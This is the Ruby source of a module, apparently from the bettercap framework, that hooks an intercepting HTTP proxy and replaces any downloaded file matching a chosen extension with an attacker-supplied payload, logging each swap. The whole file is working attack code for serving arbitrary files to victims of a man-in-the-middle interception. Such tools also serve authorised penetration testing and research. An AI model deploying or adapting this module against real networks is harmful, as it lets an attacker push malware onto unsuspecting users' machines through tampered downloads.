Path: blob/master/tools/bettercap/modules/replace_file.rb
527 views
1=begin2BETTERCAP3Author : Simone 'evilsocket' Margaritelli4Email : [email protected]5Blog : http://www.evilsocket.net/6This project is released under the GPL 3 license.7=end89class ReplaceFile < BetterCap::Proxy::HTTP::Module10meta(11'Name' => 'ReplaceFile',12'Description' => 'Replace files being downloaded with a custom one.',13'Version' => '1.0.0',14'Author' => "Simone 'evilsocket' Margaritelli",15'License' => 'GPL3'16)1718@@extension = nil19@@filename = nil20@@payload = nil2122def self.on_options(opts)23opts.on( '--file-extension EXT', 'Extension of the files to replace.' ) do |v|24@@extension = v25end2627opts.on( '--file-replace FILENAME', 'File to use in order to replace the ones matching the extension.' ) do |v|28@@filename = File.expand_path v29unless File.exists?(@@filename)30raise BetterCap::Error, "#{@@filename} file does not exist."31end32@@payload = File.read(@@filename)33end34end3536def initialize37raise BetterCap::Error, "No --file-extension option specified for the proxy module." if @@extension.nil?38raise BetterCap::Error, "No --file-replace option specified for the proxy module." if @@filename.nil?39end4041def on_request( request, response )42if request.path.include?(".#{@@extension}")43BetterCap::Logger.info "Replacing http://#{request.host}#{request.path} with #{@@filename}."4445response['Content-Length'] = @@payload.bytesize46response.body = @@payload47end48end49end505152